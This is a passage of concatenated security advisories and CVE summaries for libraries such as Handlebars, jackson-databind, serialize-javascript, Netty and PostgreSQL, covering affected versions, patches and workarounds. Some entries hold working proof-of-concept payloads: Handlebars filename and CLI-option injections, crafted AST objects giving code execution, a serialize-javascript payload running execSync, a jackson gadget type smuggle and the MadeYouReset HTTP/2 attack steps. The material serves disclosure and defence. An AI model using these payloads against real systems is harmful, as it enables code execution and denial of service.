seconds. ## Impact CPU-bound denial of service in applications that ingest attacker-controlled object **keys** into Immutable structures, e.g. `Immutable.Map(req.body)`, `Immutable.fromJS(req.body)`, `state.merge(userObject)` / `mergeDeep(...)`. Applications that only store attacker input as **values** under fixed keys are not affected. ## Affected versions - >= 4.0.0-beta.1, < 4.3.9 - >= 5.0.0-beta.1, < 5.1.8 - < 3.8.4 ## Patches Fixed in `5.1.8` _(adjust to the actual release)_: large collision buckets are indexed by a per-process **seeded** secondary hash, restoring near-linear behavior for the affected paths. The public `hash()` is unchanged (no breaking change), and `is()` remains the sole authority on key equality. Also fixed in 4.3.9 and 3.8.4. ## Workarounds Before passing untrusted data to Immutable.js: cap request body size, limit object key count/length, and reject high-cardinality payloads; avoid building Maps directly from untrusted object keys. ## References - CWE-407 (Inefficient Algorithmic Complexity), CWE-400 (Uncontrolled Resource Consumption) - OWASP API4:2023 (Unrestricted Resource Consumption)
An interpretation-conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and earlier enables unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.
Critical XXE in Apache Tika (tika-parser-pdf-module) in Apache Tika 1.13 through and including 3.2.1 on all platforms allows an attacker to carry out XML External Entity injection via a crafted XFA file inside of a PDF. An attacker may be able to read sensitive data or trigger malicious requests to internal resources or third-party servers. Note that the tika-parser-pdf-module is used as a dependency in several Tika packages including at least: tika-parsers-standard-modules, tika-parsers-standard-package, tika-app, tika-grpc and tika-server-standard. Users are recommended to upgrade to version 3.2.2, which fixes this issue.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, any caller that can deliver bytes to a Netty channel pipeline containing `XmlDecoder` can send XML with a `DOCTYPE` declaration to an `AsyncXMLInputFactory` instantiated with no security configuration, leaving DTD and entity handling active depending on Aalto XML async parser behavior and creating conditional XML external entity risk. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
zlib 1.2.11 through 1.3.2 contains a heap buffer overflow: after an underlying write() fails, gz_write() returns without resetting strm.next_in, leaving it pointed at the caller's buffer. A later gz* write call then derives a position from the stale pointer and writes past a heap allocation; any write() failure reaches it, including EPIPE on a blocking descriptor, and in versions before 1.3.1.2 the failed write must be followed by a gzclearerr() call.
Any caller that can deliver bytes to a Netty channel pipeline containing `XmlDecoder` can send XML with a DOCTYPE declaration to a parser instantiated with no security configuration — but whether external entities are actually resolved depends on Aalto XML's async parser behavior, making this a confirmed misconfiguration with conditional exploitability.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.124.Final and 4.2.4.Final, Netty is vulnerable to MadeYouReset DDoS. This is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. This issue has been patched in versions 4.1.124.Final and 4.2.4.Final.
yawkat LZ4 Java provides LZ4 compression for Java. Insufficient clearing of the output buffer in Java-based decompressor implementations in lz4-java 1.10.0 and earlier allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data. JNI-based implementations are not affected. This vulnerability is fixed in 1.10.1.
Stack buffer overflow in PostgreSQL argument name matching allows an object creator to achieve unknown impacts via OUT parameter count. The attack can write only 0x0 and 0x1 bytes. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.
nanoid (Nano ID) before 5.1.6 contains an infinite loop in the customAlphabet and customRandom functions. When these functions are configured with a size of 0, the internal generation loop never satisfies its exit condition and spins indefinitely, hanging the calling thread. An application that passes an unvalidated, attacker-controlled size of 0 to these functions is exposed to a denial-of-service condition.
nanoid (Nano ID) before 3.3.16 and 5.1.16 contains an infinite loop in the customAlphabet and nanoid functions of its non-secure module (nanoid/non-secure). When these functions are given a negative size, the loop counter is decremented from a negative value and never reaches its termination condition, spinning indefinitely and hanging the calling thread. An application that passes an unvalidated, attacker-controlled negative size to these functions is exposed to a denial-of-service condition.
nanoid (Nano ID) before 5.1.16 contains an infinite loop in the customAlphabet and nanoid functions of its non-secure module (nanoid/non-secure). When these functions are given a negative size, the loop counter is decremented from a negative value and never reaches its termination condition, spinning indefinitely and hanging the calling thread. An application that passes an unvalidated, attacker-controlled negative size to these functions is exposed to a denial-of-service condition.
nanoid (Nano ID) before 5.1.6 contains an infinite loop in the customAlphabet and customRandom functions. When these functions are configured with a size of 0, the internal generation loop never satisfies its exit condition and spins indefinitely, hanging the calling thread. An application that passes an unvalidated, attacker-controlled size of 0 to these functions is exposed to a denial-of-service condition.
### Summary Insufficient clearing of the output buffer in Java-based decompressor implementations in lz4-java 1.10.0 and earlier allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data. JNI-based implementations are *not* affected. ### Details During the decompression process, the lz4 algorithm may have to repeat data that was previously decompressed in the same input frame. In the Java implementation, this is implemented by copy operations within the output buffer. With a crafted input, an attacker may induce the Java implementation to copy from a region in the output buffer that does not contain decompressed data yet. If that region contains sensitive information because the output buffer was not cleared prior to decompression, that data will then be copied to the decompressed output. - `LZ4Factory.nativeInstance().safeDecompressor()` *is not* affected. - `LZ4Factory.nativeInstance().fastDecompressor()` *is* affected because it actually uses `safeInstance()` since 1.8.1. In 1.8.0 and earlier versions, this implementation is instead vulnerable to the more severe [CVE‐2025‐12183](https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-12183), so downgrading is not a solution. - Both decompressors of `LZ4Factory.safeInstance()`, `LZ4Factory.unsafeInstance()` and `LZ4Factory.fastestJavaInstance()` are affected. - `LZ4Factory.fastestInstance()` uses the `nativeInstance` or `fastestJavaInstance` depending on platform. `LZ4Factory.fastestInstance().fastDecompressor()` is always affected, while `LZ4Factory.fastestInstance().safeDecompressor()` is affected only when JNI cannot be used (e.g. on unsupported platforms). Independent of this vulnerability, it is recommended that users migrate from `fastDecompressor` to `safeDecompressor`, as the latter is more performant (despite the name). The impact of this vulnerability depends on how user code interacts with the decompression API. Users that allocate a new destination buffer each time, or use only zeroed buffers, are not impacted. When the buffer is reused, however, the confidentiality impact can be severe. This vulnerability is marked as VC:H out of caution. ### Mitigation lz4-java 1.10.1 fixes this issue without requiring changes in user code. If you cannot upgrade to 1.10.1, you can mitigate this vulnerability by zeroing the output buffer before passing it to the decompression function. ### Relation to CVE‐2025‐12183 This CVE is a different attack than [CVE‐2025‐12183](https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-12183), affecting different implementations with different impact. This new vulnerability was discovered by [CodeIntelligence](https://www.code-intelligence.com/) during research that followed up on CVE‐2025‐12183. Users are recommended to upgrade to 1.10.1 to fix both vulnerabilities.
### Impact Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code. Known affected plugins are: - `@babel/plugin-transform-modules-systemjs` - `@babel/preset-env` when using the [`modules: "systemjs"` option](https://babel.dev/docs/babel-preset-env#modules), as it delegates to `@babel/plugin-transform-modules-systemjs` No other plugins under the `@babel` namespace are impacted. **Users that only compile trusted code are not impacted.** ### Patches The vulnerability has been fixed in `@babel/plugin-transform-modules-systemjs@7.29.4`. Babel also released `@babel/preset-env@7.29.5`, updating its `@babel/plugin-transform-modules-systemjs` dependency, to simplify forcing the update if you are using `@babel/preset-env` directly. ### Workarounds - Pin `@babel/parser` to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade `@babel/plugin-transform-modules-systemjs` to v7.29.4. - Do not use the `modules: "systemjs"` option, migrate the codebase to native ES Modules or any other module formats. ### Credits Babel thanks Daniel Cervera for reporting the vulnerability.
Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” ### MadeYouReset Vulnerability Summary The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. ### Mechanism The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. ### Attack Flow For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. 3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) ### Comparison to Rapid Reset The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. ### Suggested Mitigations for MadeYouReset A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. If you have any questions, we will be happy to clarify or schedule a Zoom call. Gal, Anat and Yaniv.
## Summary The Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. ## Description `lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist: ### 1. Template name injection ```javascript // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)'; ``` `template.name` is derived from the file system path. A filename containing `"` or `'];` breaks out of the string literal and injects arbitrary JavaScript. ### 2. Namespace injection (`-n` / `--namespace`) ```javascript // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};'; ``` `opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement. ### 3. CommonJS path injection (`-c` / `--commonjs`) ```javascript // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");'; ``` `opts.commonjs` is interpolated inside double quotes with no escaping, allowing `"` to close the string and inject further code. ### 4. AMD path injection (`-h` / `--handlebarPath`) ```javascript // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)"; ``` `opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element. All four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser. ## Proof of Concept **Template name vector (creates a file `pwned` on disk):** ```bash mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars" node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned ``` **Namespace vector:** ```bash node bin/handlebars templates -o out.js \ -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")' ``` **CommonJS vector:** ```bash node bin/handlebars templates -o out.js \ -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")' ``` **AMD vector:** ```bash node bin/handlebars templates -o out.js -a \ -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")' ``` ## Workarounds - **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). - **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines. - **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation. - **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.
Only self-managed Grafana instances with Auth Proxy authentication and identity caching enabled (sync_ttl greater than zero) are affected. The Auth Proxy cache key concatenated the username and forwarded identity attributes without a delimiter, so distinct identities could collide on one key. An authenticated user who shapes their own attributes to collide with a higher-privileged user's, while that user's cache entry is live, is authenticated as that user, up to Administrator (authentication bypass by spoofing).
Type confusion regarding input of PostgreSQL ctid data type selectivity estimator allows an object creator to view a calculation derived from the value of an arbitrary 4-byte span of memory, via a chosen non-ctid input. While the calculation loses precision, substantial memory value recovery appears possible. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization‑internal privilege escalation.
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, a crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable. Second, sanitize context data before rendering: Ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. Third, avoid dynamic partial lookups (`{{> (lookup ...)}}`) when context data is user-controlled.
uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0.
Netty is a network application framework for development of protocol servers and clients. In netty-handler prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV. If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
Untrusted data inclusion in PostgreSQL psql COPY may allow a server administrator to elicit execution of data lines as psql commands, via error injection. If the "COPY FROM STDIN" or "\copy FROM STDIN" command fails before the server indicates that it awaits input rows, psql processes the in-line data rows as psql commands. "COPY FROM" with a filename is unaffected. The server administrator has no inherent control over the data rows, so a complete attack requires the attacker to separately acquire control of both the server and the data rows. Alternatively, an attacker controlling data rows alone might complete an attack through a coincidental error that they don't control. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
## Summary The `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. ## Description Handlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value. When `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process. The `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive. ## Proof of Concept Tested with Handlebars 4.7.8 and `handlebars-helpers`: ```javascript const Handlebars = require('handlebars'); const merge = require('handlebars-helpers').object().merge; Handlebars.registerHelper('merge', merge); const vulnerableTemplate = ` {{#*inline "myPartial"}} {{>@partial-block}} {{>@partial-block}} {{/inline}} {{#>myPartial}} {{merge @_parent partial-block=1}} {{merge @_parent partial-block=payload}} {{/myPartial}} `; const maliciousContext = { payload: { type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Code injected via depth field — breaks out of generated function call depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//", }, }, ], }, }; Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: RCE via @partial-block ``` ## Workarounds - **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path. - **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only. - **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.
### Summary An attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions. ### Details `io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)` method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask. ### Impact Access Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.
### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
`jackson-databind`'s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `<`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `<`) against the configured PTV. If the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example `java.util.ArrayList<com.evil.Gadget>` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry. ## Impact - **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules. - **Arbitrary class instantiation** of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection). - **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath. Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected. ## Proof of Concept Configuration restricting polymorphic deserialization to a single safe container: ```java BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfSubType("java.util.ArrayList") .build(); ObjectMapper mapper = JsonMapper.builder() .polymorphicTypeValidator(ptv) .build(); ``` Malicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`): ```json {"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]} ``` On vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation. **Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list): | Type ID | Smuggled type position | |---|---| | `java.util.ArrayList<Evil>` | list element | | `java.util.HashMap<Evil,String>` | map key | | `java.util.HashMap<String,Evil>` | map value | | `java.util.ArrayList<java.util.ArrayList<Evil>>` | nested element | | `java.util.ArrayList<Evil[]>` | array element | --- ## Patches Fixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types. `PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.
## Summary `BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray()` allowlists any array type based only on `clazz.isArray()`, without validating the array's component (element) type against the configured allowlist. A PTV built with `allowIfSubTypeIsArray()` plus an explicit concrete-type allowlist therefore still permits `EvilType[]` even though `EvilType` is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. ## Impact Applications using `BasicPolymorphicTypeValidator` with `allowIfSubTypeIsArray()` as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent. ## Affected / Patched (verified via `git tag --contains`) - 2.18 line: `>= 2.10.0, < 2.18.8` -> fixed in **2.18.8** - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** `PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that. ## Severity / CWE Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502. ## Upstream fix FasterXML/jackson-databind#5981; fix PR #5983 (`24529da`), 2.18 backport PR #5984 (`01d1692`). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4. ## Credits Omkhar Arasaratnam (@omkhar) - finder.
## Summary A crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup. ## Description The vulnerable code path spans two functions in `lib/handlebars/runtime.js`: **`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is. **`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as "partial not yet compiled" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated. **Minimum prerequisites:** 1. The template uses a dynamic partial lookup: `{{> (lookup . "key")}}` or equivalent. 2. The adversary can set the value of the looked-up context property to a crafted object. In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution. ## Proof of Concept ```javascript const Handlebars = require('handlebars'); const vulnerableTemplate = `{{> (lookup . "payload")}}`; const maliciousContext = { payload: { call: true, // bypasses the primary resolvePartial branch type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Injected code breaks out of the generated function's argument list depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//", }, }, ], }, }; Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: object -> dynamic partial -> RCE ``` ## Workarounds - **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable. - **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. - **Avoid dynamic partial lookups** (`{{> (lookup ...)}}`) when context data is user-controlled.
